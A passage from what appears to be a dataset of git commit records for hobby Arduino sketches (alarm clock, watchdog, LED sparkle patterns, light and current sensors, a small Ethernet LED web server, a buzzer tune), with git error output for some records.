(state == TIME || state == MENU) {\n menuNext();\n }\n else if (state == ALARM_ACTIVE) {\n snoozeStart();\n state = ALARM_SNOOZE;\n }\n isLongPressed = false;\n }\n \/\/ Set long pressed flag if held long enough.\n else if (selectBtn.pressedFor(BUTTON_LONG)) {\n tone(SPEAKER_PIN, 500);\n isLongPressed = true;\n }\n}\n\nvoid menuNext() {\n unsigned long newUnixTime;;\n\n \/\/ Save previous values if changed.\n if (isModified) {\n if (menuIndex == MENU_TIME) {\n \/\/ Set time.\n newUnixTime = DEFAULT_TIME + (3600 * (long)editTime.hour) + (60 * (long)editTime.minute);\n clock.setDateTime(newUnixTime);\n }\n else if (menuIndex == MENU_ALARM || menuIndex == MENU_SNOOZE) {\n writeAlarmData();\n }\n }\n\n menuIndex++;\n isModified = false;\n state = MENU;\n if (menuIndex > MENU_MAX) {\n menuIndex = 0;\n state = TIME;\n }\n\n \/\/ Save the current time into the temporary, user edited time.\n if (menuIndex == MENU_TIME) {\n editTime.hour = dt.hour;\n editTime.minute = dt.minute;\n }\n else if (menuIndex == MENU_ALARM) {\n editTime.hour = dt.hour;\n editTime.minute = dt.minute; \n }\n\n tone(SPEAKER_PIN, 2000, 20);\n updateDisplay(&context);\n}\n\nvoid updateDisplay(void* context) {\n unsigned long elapsed = snoozeElapsed();\n byte lightBufferIndex;\n byte hour;\n byte minute;\n bool isTime = true;\n bool pm = false;\n bool isSnooze = state == ALARM_SNOOZE;\n bool isAlarmTime = alarm.hour == dt.hour && alarm.minute == dt.minute;\n bool isPastSnooze = elapsed > (60000 * (long)alarm.snoozeMinutes);\n \n digitalWrite(LED_PIN, alarm.status ? HIGH : LOW);\n\n if (state != MENU) {\n dt = clock.getDateTime();\n hour = dt.hour;\n minute = dt.minute;\n \/\/ Check if we should activate the alarm.\n if (alarm.status && (isAlarmTime || isSnooze) && (isPastSnooze || !hasSnoozed)) {\n state = ALARM_ACTIVE;\n snoozeStart();\n }\n if (state == ALARM_ACTIVE) {\n isAlarmSound = !isAlarmSound;\n if (isAlarmSound) {\n tone(SPEAKER_PIN, ALARM_FREQ, 333);\n }\n }\n }\n else if (state == MENU && menuIndex == MENU_TIME) {\n hour = editTime.hour;\n minute = editTime.minute;\n }\n else if (state == MENU && menuIndex == MENU_ALARM) {\n hour = alarm.hour;\n minute = alarm.minute;\n }\n else if (state == MENU && menuIndex == MENU_SNOOZE) {\n isTime = false;\n \/\/ Draw snooze number.\n matrix.print((long)alarm.snoozeMinutes);\n }\n\n if (state != TIME) {\n isColonOn = !isColonOn;\n }\n else {\n isColonOn = true;\n }\n\n if (isTime) {\n \/\/ Draw 12-hour time.\n if (hour >= 12) {\n pm = true;\n }\n if (hour == 0) {\n hour = 12;\n }\n else if (hour > 12) {\n hour = hour - 12;\n }\n matrix.print((long)100 * hour + minute);\n \/\/ Set the last \"dot\" to OFF (AM).\n bitWrite(matrix.displaybuffer[4], 7, pm);\n }\n\n \/\/ Draw menu dot indicator (when colon is flashing on).\n if (menuIndex > 0) { \n lightBufferIndex = menuIndex - 1;\n if (lightBufferIndex >= 2) {\n lightBufferIndex++;\n }\n for (byte i = 0; i < 4; i++) {\n bitWrite(matrix.displaybuffer[i], 7, i == lightBufferIndex && isColonOn);\n }\n }\n\n matrix.drawColon(isColonOn); \n\n \/\/ Actually update the display.\n matrix.writeDisplay(); \n}\n\nvoid writeAlarmData() {\n EEPROM_writeAnything(EEPROM_ADDRESS, alarm);\n}\n\nvoid snoozeStart() {\n snoozeMillis = millis();\n hasSnoozed = true;\n}\n\nunsigned long snoozeElapsed() {\n return millis() - snoozeMillis;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'alarm.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f07269cbd83f01a62d143b8325a6e47f9babbbb4","subject":"Added example","message":"Added example\n","repos":"MajenkoLibraries\/Watchdog","old_file":"examples\/KickTheDog\/KickTheDog.ino","new_file":"examples\/KickTheDog\/KickTheDog.ino","new_contents":"#include <Watchdog.h>\n\nvoid setup() {\n Serial.begin(115200);\n\n \/\/ Enable the watchdog. The period is set by the config bits\n \/\/ in the bootloader.\n Watchdog::enable();\n Serial.println(\"Watchdog enabled\");\n}\n\nvoid loop() {\n \/\/ Keep the dog awake by kicking it\n Watchdog::kick();\n Serial.println(\"Watchdog kicked\");\n \n \/\/ If this delay is too long the watchdog will reset\n \/\/ the board. By default most boards have the watchdog\n \/\/ timeout set to about 17 minutes.\n delay(10000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/KickTheDog\/KickTheDog.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"85a9d451290759ca1042033209e6dcbaeaa66f42","subject":"Create DemoReel100_ChristmasSparkles.ino","message":"Create DemoReel100_ChristmasSparkles.ino","repos":"marmilicious\/FastLED_examples","old_file":"DemoReel100_ChristmasSparkles.ino","new_file":"DemoReel100_ChristmasSparkles.ino","new_contents":"\/\/***************************************************************\n\/\/ Random sparkle patterns with Christmas-ish colors.\n\/\/ Patterns: christmasSparkles, christmasSparklesRB, christmasSparklesBP\n\/\/\n\/\/ This can be added to Mark Kriegsman's DemoReel100 as new patterns to run.\n\/\/ Copy lines 25 and 26 as well as the patterns below to your program.\n\/\/\n\/\/ Marc Miller, Dec 2016\n\/\/***************************************************************\n\n#include \"FastLED.h\"\nFASTLED_USING_NAMESPACE\n\n#define DATA_PIN 11\n#define CLK_PIN 13\n\n#define LED_TYPE LPD8806\n#define COLOR_ORDER GRB\n#define NUM_LEDS 32\n\n#define BRIGHTNESS 255\n#define FRAMES_PER_SECOND 120\nCRGB leds[NUM_LEDS];\n\nuint16_t ledsData[NUM_LEDS][4]; \/\/ array to store color data and an extra value\nuint16_t pick; \/\/ stores a temporary pixel number\n\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n delay(3000); \/\/ 3 second delay for recovery\n \/\/FastLED.addLeds<LED_TYPE,DATA_PIN,COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.addLeds<LED_TYPE,DATA_PIN,CLK_PIN,COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.setBrightness(BRIGHTNESS);\n}\n\n\/\/---------------------------------------------------------------\n\/\/ List of patterns to cycle through. Each is defined as a separate function below.\ntypedef void (*SimplePatternList[])();\n\nSimplePatternList gPatterns = { christmasSparkles, christmasSparklesRG, christmasSparkles, christmasSparklesBP };\n\nuint8_t gCurrentPatternNumber = 0; \/\/ Index number of which pattern is current\nuint8_t gHue = 0; \/\/ rotating \"base color\" used by many of the patterns\n\n\/\/---------------------------------------------------------------\nvoid loop() {\n \/\/ Call the current pattern function once, updating the 'leds' array\n gPatterns[gCurrentPatternNumber]();\n\n \/\/FastLED.show(); \n FastLED.delay(1000\/FRAMES_PER_SECOND); \/\/ slows the framerate to a modest value\n\n \/\/ do some periodic updates\n EVERY_N_SECONDS( 20 ) { nextPattern(); } \/\/ change patterns periodically\n\n}\n\n\/\/---------------------------------------------------------------\n#define ARRAY_SIZE(A) (sizeof(A) \/ sizeof((A)[0]))\nvoid nextPattern()\n{\n \/\/ add one to the current pattern number, and wrap around at the end\n gCurrentPatternNumber = (gCurrentPatternNumber + 1) % ARRAY_SIZE( gPatterns);\n}\n\n\n\n\/\/===============================================================\n\/\/ The different patterns to choose from...\n\/\/===============================================================\n\/\/---------------------------------------------------------------\nvoid christmasSparkles() {\n \/\/\"Background\" color for non-sparkling pixels.\n CRGB sparkleBgColor = CHSV(50, 30, 40); \/\/ dim white\n \/\/CRGB sparkleBgColor = CHSV(96, 200, 30); \/\/ dim green\n \n EVERY_N_MILLISECONDS(40){\n if( random8() < 60 ) { \/\/ How much to sparkle! Higher number is more.\n pick = random16(NUM_LEDS);\n if (ledsData[pick][3] == 0 ) {\n ledsData[pick][3] = 35; \/\/ Used to tag pixel as sparkling\n uint8_t randomPick = random8(5);\n if (randomPick == 0) {\n ledsData[pick][0] = 178; \/\/ sparkle hue (blue)\n ledsData[pick][1] = 244; \/\/ sparkle saturation\n ledsData[pick][2] = 210; \/\/ sparkle value\n }\n if (randomPick == 1) {\n ledsData[pick][0] = 10; \/\/ sparkle hue (red)\n ledsData[pick][1] = 255; \/\/ sparkle saturation\n ledsData[pick][2] = 240; \/\/ sparkle value\n }\n if (randomPick == 2) {\n ledsData[pick][0] = 0; \/\/ sparkle hue (white-ish)\n ledsData[pick][1] = 25; \/\/ sparkle saturation\n ledsData[pick][2] = 255; \/\/ sparkle value\n }\n if (randomPick == 3) {\n ledsData[pick][0] = 35; \/\/ sparkle hue (orange)\n ledsData[pick][1] = 235; \/\/ sparkle saturation\n ledsData[pick][2] = 245; \/\/ sparkle value\n }\n if (randomPick == 4) {\n ledsData[pick][0] = 190; \/\/ sparkle hue (purple)\n ledsData[pick][1] = 255; \/\/ sparkle saturation\n ledsData[pick][2] = 238; \/\/ sparkle value\n }\n leds[pick] = CHSV(ledsData[pick][0], ledsData[pick][1], ledsData[pick][2]);\n }\n }\n for (uint16_t i=0; i < NUM_LEDS; i++) {\n if (ledsData[i][3] == 0) { \/\/ if not sparkling, set to \"back ground\" color\n leds[i] = sparkleBgColor;\n } else {\n CHSV hsv = rgb2hsv_approximate(leds[i]); \/\/ Used to get approximate Hue\n EVERY_N_MILLISECONDS(38) { ledsData[i][0] = hsv.hue - 1; } \/\/ slightly shift hue\n ledsData[i][2] = scale8(ledsData[i][2], 245); \/\/ slowly darken\n leds[i] = CHSV(ledsData[i][0], ledsData[i][1], ledsData[i][2]);\n ledsData[i][3] = ledsData[i][3] - 1; \/\/ countdown sparkle tag\n }\n }\n }\n}\/\/end christmasSparkles\n\n\n\/\/---------------------------------------------------------------\nvoid christmasSparklesRG() { \/\/ Red and Green only\n \/\/\"Background\" color for non-sparkling pixels. Can be set to black for no bg color.\n CRGB sparkleBgColor = CHSV(0, 0, 0); \/\/ black\n \/\/CRGB sparkleBgColor = CHSV(50, 30, 30); \/\/ dim white\n \n EVERY_N_MILLISECONDS(40){\n if( random8() < 110 ) { \/\/ How much to sparkle! Higher number is more.\n pick = random16(NUM_LEDS);\n if (ledsData[pick][3] == 0 ) {\n ledsData[pick][3] = 65; \/\/ Used to tag pixel as sparkling\n uint8_t randomPick = random8(2);\n if (randomPick == 0) {\n ledsData[pick][0] = 16; \/\/ sparkle hue (red)\n ledsData[pick][1] = 253; \/\/ sparkle saturation\n ledsData[pick][2] = 242; \/\/ sparkle value\n }\n if (randomPick == 1) {\n ledsData[pick][0] = 96; \/\/ sparkle hue (green)\n ledsData[pick][1] = 230; \/\/ sparkle saturation\n ledsData[pick][2] = 255; \/\/ sparkle value\n }\n leds[pick] = CHSV(ledsData[pick][0], ledsData[pick][1], ledsData[pick][2]);\n }\n }\n for (uint16_t i=0; i < NUM_LEDS; i++) {\n if (ledsData[i][3] == 0) { \/\/ if not sparkling, set to \"back ground\" color\n leds[i] = sparkleBgColor;\n } else {\n CHSV hsv = rgb2hsv_approximate(leds[i]); \/\/ Used to get approximate Hue\n EVERY_N_MILLISECONDS(50) { ledsData[i][0] = hsv.hue - 1; } \/\/ slightly shift hue\n ledsData[i][2] = scale8(ledsData[i][2], 253); \/\/ slowly darken\n leds[i] = CHSV(ledsData[i][0], ledsData[i][1], ledsData[i][2]);\n ledsData[i][3] = ledsData[i][3] - 1; \/\/ countdown sparkle tag\n }\n }\n }\n}\/\/end christmasSparklesRG\n\n\n\/\/---------------------------------------------------------------\nvoid christmasSparklesBP() { \/\/ Blues and Purple only\n \/\/\"Background\" color for non-sparkling pixels.\n CRGB sparkleBgColor = CHSV(96, 185, 30); \/\/ green\n \n EVERY_N_MILLISECONDS(40){\n if( random8() < 170 ) { \/\/ How much to sparkle! Higher number is more.\n pick = random16(NUM_LEDS);\n if (ledsData[pick][3] == 0 ) {\n ledsData[pick][3] = 20; \/\/ Used to tag pixel as sparkling\n uint8_t randomPick = random8(3);\n if (randomPick == 0) {\n ledsData[pick][0] = 165; \/\/ sparkle hue (blue)\n ledsData[pick][1] = 180; \/\/ sparkle saturation\n ledsData[pick][2] = 230; \/\/ sparkle value\n }\n if (randomPick == 1) {\n ledsData[pick][0] = 200; \/\/ sparkle hue (pink-light-purple)\n ledsData[pick][1] = 170; \/\/ sparkle saturation\n ledsData[pick][2] = 240; \/\/ sparkle value\n }\n if (randomPick == 2) {\n ledsData[pick][0] = 130; \/\/ sparkle hue (light blue)\n ledsData[pick][1] = 200; \/\/ sparkle saturation\n ledsData[pick][2] = 255; \/\/ sparkle value\n }\n leds[pick] = CHSV(ledsData[pick][0], ledsData[pick][1], ledsData[pick][2]);\n }\n }\n for (uint16_t i=0; i < NUM_LEDS; i++) {\n if (ledsData[i][3] == 0) { \/\/ if not sparkling, set to \"back ground\" color\n leds[i] = sparkleBgColor;\n } else {\n CHSV hsv = rgb2hsv_approximate(leds[i]); \/\/ Used to get approximate Hue\n EVERY_N_MILLISECONDS(20) { ledsData[i][0] = hsv.hue - 1; } \/\/ slightly shift hue\n ledsData[i][2] = scale8(ledsData[i][2], 242); \/\/ slowly darken\n leds[i] = CHSV(ledsData[i][0], ledsData[i][1], ledsData[i][2]);\n ledsData[i][3] = ledsData[i][3] - 1; \/\/ countdown sparkle tag\n }\n }\n }\n}\/\/end christmasSparklesBP\n\n\n\/\/---------------------------------------------------------------\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'DemoReel100_ChristmasSparkles.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5a4a1efc6c4ee4129ea35774bf261d492de68740","subject":"add powerACS sketch","message":"add powerACS sketch\n","repos":"jcw\/jeelib,jcw\/jeelib","old_file":"examples\/RF12\/powerACS\/powerACS.ino","new_file":"examples\/RF12\/powerACS\/powerACS.ino","new_contents":"\/\/ Measure power from an ACS714.\n\/\/ 2011-09-13 <jc@wippler.nl> http:\/\/opensource.org\/licenses\/mit-license.php\n\/\/ $Id: $\n\n\/\/ ACS714 output pin is tied to AIO3. Power is 5V, so it swings around 2.5V.\n\/\/ Basic approach is to track a moving average, and to calculate the average\n\/\/ *absolute* difference from this value. Result is in microvolts.\n\n#include <JeeLib.h>\n#define DEBUG 1\n\nPort measure (3);\nMilliTimer report;\nword count;\nuint32_t total, avg = 2500000; \/\/ best guess for startup\n\nvoid setup () {\n#if DEBUG\n Serial.begin(57600);\n Serial.println(\"\\n[powerACS]\");\n#endif\n rf12_initialize(17, RF12_868MHZ, 5);\n}\n\nvoid loop () {\n \/\/ convert ADC reading to microvolts 0..3300000\n uint32_t value = measure.anaRead() * (3300000L \/ 1023);\n \n \/\/ keep track of the (slow-) moving average\n avg = (499L * avg + value) \/ 500;\n\n \/\/ accumulate the absolute differences from the average\n if (value > avg)\n total += value - avg;\n else if (value < avg)\n total += avg - value;\n ++count;\n \n if (report.poll(1000)) {\n \/\/ the reported value is the average absolute value\n uint32_t range = total \/ count;\n#if DEBUG \n Serial.print(value);\n Serial.print(' ');\n Serial.print(avg);\n Serial.print(' ');\n Serial.print(count);\n Serial.print(' ');\n Serial.print(total);\n Serial.print(' ');\n Serial.println(range);\n#else\n while (!rf12_canSend())\n rf12_recvDone();\n rf12_sendStart(0, &range, sizeof range);\n#endif \n total = count = 0;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/RF12\/powerACS\/powerACS.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"95c577507a65a71af94fe86293a19ac940532c1f","subject":"Add bh1750 LUX sensor test","message":"Add bh1750 LUX sensor test\n","repos":"aapris\/CernWall,aapris\/CernWall","old_file":"arduino\/bh1750_test\/bh1750_test.ino","new_file":"arduino\/bh1750_test\/bh1750_test.ino","new_contents":"\/*\n\n Advanced BH1750 library usage example\n\n This example had some comments about advanced usage features.\n\n Connection:\n\n VCC -> 5V (3V3 on Arduino Due, Zero, MKR1000, etc)\n GND -> GND\n SCL -> SCL (A5 on Arduino Uno, Leonardo, etc or 21 on Mega and Due)\n SDA -> SDA (A4 on Arduino Uno, Leonardo, etc or 20 on Mega and Due)\n ADD -> GND or VCC (see below)\n\n ADD pin uses to set sensor I2C address. If it has voltage greater or equal to\n 0.7VCC voltage (as example, you've connected it to VCC) - sensor address will be\n 0x5C. In other case (if ADD voltage less than 0.7 * VCC) - sensor address will\n be 0x23 (by default).\n\n*\/\n\n#include <Wire.h>\n#include <BH1750.h>\n\n\/*\n\n BH1750 can be physically configured to use two I2C addresses:\n - 0x23 (most common) (if ADD pin had < 0.7VCC voltage)\n - 0x5C (if ADD pin had > 0.7VCC voltage)\n\n Library use 0x23 address as default, but you can define any other address.\n If you had troubles with default value - try to change it to 0x5C.\n\n*\/\nBH1750 lightMeter(0x23);\n\nvoid setup(){\n\n Serial.begin(115200);\n Wire.begin(D2, D1);\n \/*\n\n BH1750 had six different measurment modes. They are divided in two groups -\n continuous and one-time measurments. In continuous mode, sensor continuously\n measures lightness value. And in one-time mode, sensor makes only one\n measurment, and going to Power Down mode after this.\n\n Each mode, has three different precisions:\n\n - Low Resolution Mode - (4 lx precision, 16ms measurment time)\n - High Resolution Mode - (1 lx precision, 120ms measurment time)\n - High Resolution Mode 2 - (0.5 lx precision, 120ms measurment time)\n\n By default, library use Continuous High Resolution Mode, but you can set\n any other mode, by define it to BH1750.begin() or BH1750.configure() functions.\n\n [!] Remember, if you use One-Time mode, your sensor will go to Power Down mode\n each time, when it completes measurment and you've read it.\n\n Full mode list:\n\n BH1750_CONTINUOUS_LOW_RES_MODE\n BH1750_CONTINUOUS_HIGH_RES_MODE (default)\n BH1750_CONTINUOUS_HIGH_RES_MODE_2\n\n BH1750_ONE_TIME_LOW_RES_MODE\n BH1750_ONE_TIME_HIGH_RES_MODE\n BH1750_ONE_TIME_HIGH_RES_MODE_2\n\n *\/\n\n lightMeter.begin(BH1750_CONTINUOUS_LOW_RES_MODE);\n Serial.println(F(\"BH1750 Test\"));\n\n}\n\n\nvoid loop() {\n\n uint16_t lux = lightMeter.readLightLevel();\n Serial.print(millis());\n Serial.print(\"Light: \");\n Serial.print(lux);\n Serial.println(\" lx\");\n \/\/delay(1000);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/bh1750_test\/bh1750_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e297ef5c34d9a3efce7a2b0ede72dd5d38e622eb","subject":"Fixed watchdog infinite reset.","message":"Fixed watchdog infinite reset.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"fe840f628becc7fae03f198bba3a4186723eb479","subject":"Add Led\/LDR control web","message":"Add Led\/LDR control web\n","repos":"kreitek\/DomoAnden,kreitek\/DomoAnden,andensinlimite\/DomoAnden,kreitek\/DomoAnden,andensinlimite\/DomoAnden,andensinlimite\/DomoAnden","old_file":"parte_I\/LDRyLED_web.ino","new_file":"parte_I\/LDRyLED_web.ino","new_contents":"#include <SPI.h> \/\/Importamos librer\u00eda comunicaci\u00f3n SPI\n#include <Ethernet.h> \/\/Importamos librer\u00eda Ethernet\n \nbyte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\/\/Ponemos la direcci\u00f3n MAC de la Ethernet Shield que est\u00e1 con una etiqueta debajo la placa\nIPAddress ip(192,168,1,100); \/\/Asingamos la IP al Arduino\nEthernetServer server(80); \/\/Creamos un servidor Web con el puerto 80 que es el puerto HTTP por defecto\n \nint led=3; \/\/Pin del led\nString estado=\"OFF\"; \/\/Estado del Led inicialmente \"OFF\"\n\nint LDR = 0; \nfloat photocell = 0;\n\n \nvoid setup()\n{\n Serial.begin(9600);\n \n \/\/ Inicializamos la comunicaci\u00f3n Ethernet y el servidor\n Ethernet.begin(mac, ip);\n server.begin();\n Serial.print(\"server is at \");\n Serial.println(Ethernet.localIP());\n \n pinMode(led,OUTPUT);\n pinMode(LDR, INPUT);\n \n}\n \nvoid loop()\n{\n EthernetClient client = server.available(); \/\/Creamos un cliente Web\n \/\/Cuando detecte un cliente a trav\u00e9s de una petici\u00f3n HTTP\n if (client) {\n Serial.println(\"new client\");\n boolean currentLineIsBlank = true; \/\/Una petici\u00f3n HTTP acaba con una l\u00ednea en blanco\n String cadena=\"\"; \/\/Creamos una cadena de caracteres vac\u00eda\n while (client.connected()) {\n if (client.available()) {\n char c = client.read();\/\/Leemos la petici\u00f3n HTTP car\u00e1cter por car\u00e1cter\n Serial.write(c);\/\/Visualizamos la petici\u00f3n HTTP por el Monitor Serial\n cadena.concat(c);\/\/Unimos el String 'cadena' con la petici\u00f3n HTTP (c). De esta manera convertimos la petici\u00f3n HTTP a un String\n \n \/\/Ya que hemos convertido la petici\u00f3n HTTP a una cadena de caracteres, ahora podremos buscar partes del texto.\n int posicion=cadena.indexOf(\"LED=\"); \/\/Guardamos la posici\u00f3n de la instancia \"LED=\" a la variable 'posicion'\n \n if(cadena.substring(posicion)==\"LED=ON\")\/\/Si a la posici\u00f3n 'posicion' hay \"LED=ON\"\n {\n digitalWrite(led,HIGH);\n estado=\"ON\";\n }\n if(cadena.substring(posicion)==\"LED=OFF\")\/\/Si a la posici\u00f3n 'posicion' hay \"LED=OFF\"\n {\n digitalWrite(led,LOW);\n estado=\"OFF\";\n }\n \n \/\/Cuando reciba una l\u00ednea en blanco, quiere decir que la petici\u00f3n HTTP ha acabado y el servidor Web est\u00e1 listo para enviar una respuesta\n if (c == '\\n' && currentLineIsBlank) {\n \n \/\/ Enviamos al cliente una respuesta HTTP\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-Type: text\/html\");\n client.println();\n\n \n \/\/P\u00e1gina web en formato HTML\n client.println(\"<html>\");\n client.println(\"<head>\");\n client.println(\"<\/head>\");\n client.println(\"<body bgcolor=\"\"silver\"\">\");\n \/\/ auto reload webpage every 4 second\n client.println(\"<META HTTP-EQUIV=REFRESH CONTENT=4 URL=>\");\n \n client.println(\"<h1 align='center'>Arduino + Ethernet Shield<\/h1><h3 align='center'>LED y LDR controlado por Servidor Web con Arduino<\/h3><br>\");\n client.println(\"<div style='text-align:center;'>\");\n \n \/\/LDR WEB\n photocell = analogRead(LDR);\n client.print(\"<p><h2>Valor Sensor Luz = <font color=indigo>\");\n client.println(photocell, 2);\n client.println(\"<\/font><\/h2><\/p>\");\n \n \n if (photocell > 10) { \n client.println(\"<p><h2><font color=green>Hay Luz!<\/font><\/h2><\/p>\");\n }\n else if (photocell == 0){ \n client.println(\"<p><h2><font color=red>No hay Luz<\/font><\/h2><\/p>\"); \n }\n else { \n client.println(\"<p><h2><font color=yellow>Hay poca Luz.<\/font><\/h2><\/p>\"); \n } \n \n \/\/Creamos los botones. Para enviar parametres a trav\u00e9s de HTML se utiliza el metodo URL encode. Los par\u00e1metros se envian a trav\u00e9s del s\u00edmbolo '?'\n \n client.print(\"<h2>CONTROL DEL LED<\/h2>\");\n \n if (estado == \"ON\") { \n client.println(\"<h4><font color=green>ENCENDIDO<\/font><\/h4>\");\n }\n else if (estado == \"OFF\"){ \n client.println(\"<h4><font color=red>APAGADO<\/font><\/h4>\"); \n }\n \n \n client.println(\"<button onClick=location.href='.\/?LED=ON\\' style='margin:auto;background-color: #84B1FF;color: snow;padding: 10px;border: 1px solid #3F7CFF;width:65px;'>\");\n client.println(\"ON\");\n client.println(\"<\/button>\");\n client.println(\"<button onClick=location.href='.\/?LED=OFF\\' style='margin:auto;background-color: #84B1FF;color: snow;padding: 10px;border: 1px solid #3F7CFF;width:65px;'>\");\n client.println(\"OFF\");\n client.println(\"<\/button>\");\n client.println(\"<br \/><br \/>\");\n client.println(\"<\/b><br \/>\");\n client.println(\"<\/b><\/body>\");\n client.println(\"<\/html>\");\n break;\n }\n if (c == '\\n') {\n currentLineIsBlank = true;\n }\n else if (c != '\\r') {\n currentLineIsBlank = false;\n }\n }\n }\n \/\/Dar tiempo al navegador para recibir los datos\n delay(1);\n client.stop();\/\/ Cierra la conexi\u00f3n\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'parte_I\/LDRyLED_web.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bea98a65d94b1aac7b1ee65cbdd8395018791b42","subject":"in theory we can create the start events here \u2026","message":"in theory we can create the start events here \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/TMC43x.ino","new_file":"ArduinoClient\/TMC43x.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"358400b61407182e530d3bf281a05c54f549316a","subject":"deng .\u2026 this was not tested","message":"deng .\u2026 this was not tested\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Commands.ino","new_file":"ArduinoClient\/Commands.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"c68413b66c5799cb52870829dd906c7a58ca598e","subject":"silly","message":"silly\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Commands.ino","new_file":"ArduinoClient\/Commands.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"992ad246da8ac2335c58191bcfb0f0d9c407e082","subject":"Create cream.ino","message":"Create cream.ino","repos":"jhaaaa\/arduino-sketches","old_file":"cream.ino","new_file":"cream.ino","new_contents":"\/******************************************************************************\n\nMaking \"music\" with a LilyPad Buzzer\nJennifer Hasegawa\n\nThis code instructs a LilyPad Buzzer to play the C.R.E.A.M. hook by the Wu-Tang Clan.\n\nFor a great writeup on how a buzzer plays \"notes,\" see https:\/\/learn.sparkfun.com\/tutorials\/lilypad-buzzer-hookup-guide#making-sounds-\n\n******************************************************************************\/\n\/\/ Identify the pin the buzzer is hooked up to\nint buzzerPin = 7;\n\n\/\/ Name the notes used in the song and associate them with their frequencies. I looked these notes\/frequencies up here: http:\/\/www.intmath.com\/trigonometric-graphs\/music.php\nconst int F1 = 698;\nconst int F1s = 740;\nconst int G1 = 784;\nconst int G1s = 831;\nconst int A = 880;\nconst int B = 988;\nconst int C = 1047;\nconst int Cs = 1109;\nconst int D = 1174;\nconst int Ds = 1245;\nconst int E = 1318;\nconst int F2 = 1397;\nconst int F2s = 1480;\n\nvoid setup()\n{\n \/\/ Set the buzzer pin as an OUTPUT\n pinMode(buzzerPin, OUTPUT);\n}\n\nvoid loop()\n{\n \/\/ Use the tone() function to play each note in the tune. Use the noTone() function to insert rest beats. Carriage returns are used solely to visually indicate measures.\n noTone(buzzerPin);\n delay(375);\n tone(buzzerPin, F1s);\n delay(187);\n tone(buzzerPin, G1s);\n delay(187);\n tone(buzzerPin, A);\n delay(350);\n noTone(buzzerPin);\n delay(25);\n tone(buzzerPin, B);\n delay(350);\n noTone(buzzerPin);\n delay(25);\n\n tone(buzzerPin, Cs);\n delay(375);\n tone(buzzerPin, F2s);\n delay(375);\n tone(buzzerPin, E);\n delay(93);\n tone(buzzerPin, F2);\n delay(93);\n tone(buzzerPin, E);\n delay(187);\n tone(buzzerPin, Ds);\n delay(375);\n\n tone(buzzerPin, Cs);\n delay(375);\n tone(buzzerPin, B);\n delay(375);\n tone(buzzerPin, A);\n delay(375);\n noTone(buzzerPin);\n delay(50);\n tone(buzzerPin, G1s);\n delay(200);\n noTone(buzzerPin);\n delay(50); \n \n tone(buzzerPin, F1s);\n delay(375);\n noTone(buzzerPin);\n delay(10); \n tone(buzzerPin, F1s);\n delay(375);\n noTone(buzzerPin);\n delay(10); \n tone(buzzerPin, F1s);\n delay(375);\n noTone(buzzerPin);\n delay(375);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'cream.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b6f96a782cadde7b1f5e5aee1a5cc6ce8e3c62c7","subject":"Jack Rabbit: R4 PWM 